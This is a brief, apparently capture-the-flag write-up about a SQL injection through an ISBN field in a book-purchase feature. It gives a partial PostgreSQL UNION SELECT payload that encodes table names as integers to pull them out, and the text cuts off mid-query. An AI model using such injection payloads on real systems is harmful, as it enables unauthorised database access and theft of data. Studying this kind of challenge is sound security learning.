sql injection prob we can ask to buy a book with ISBN. In source code, they put ISBN directly into sql query. We can get any info of database with UNION SELECT but we need to make isbn >= 10000000000. here is my sqli query to get table. 23' UNION SELECT ('x' || encode(right(table_name, 8)::bytea, 'hex'))::bit(64)::bigint as isbn FROM (SELECT (row_number() over()) AS rownum, t..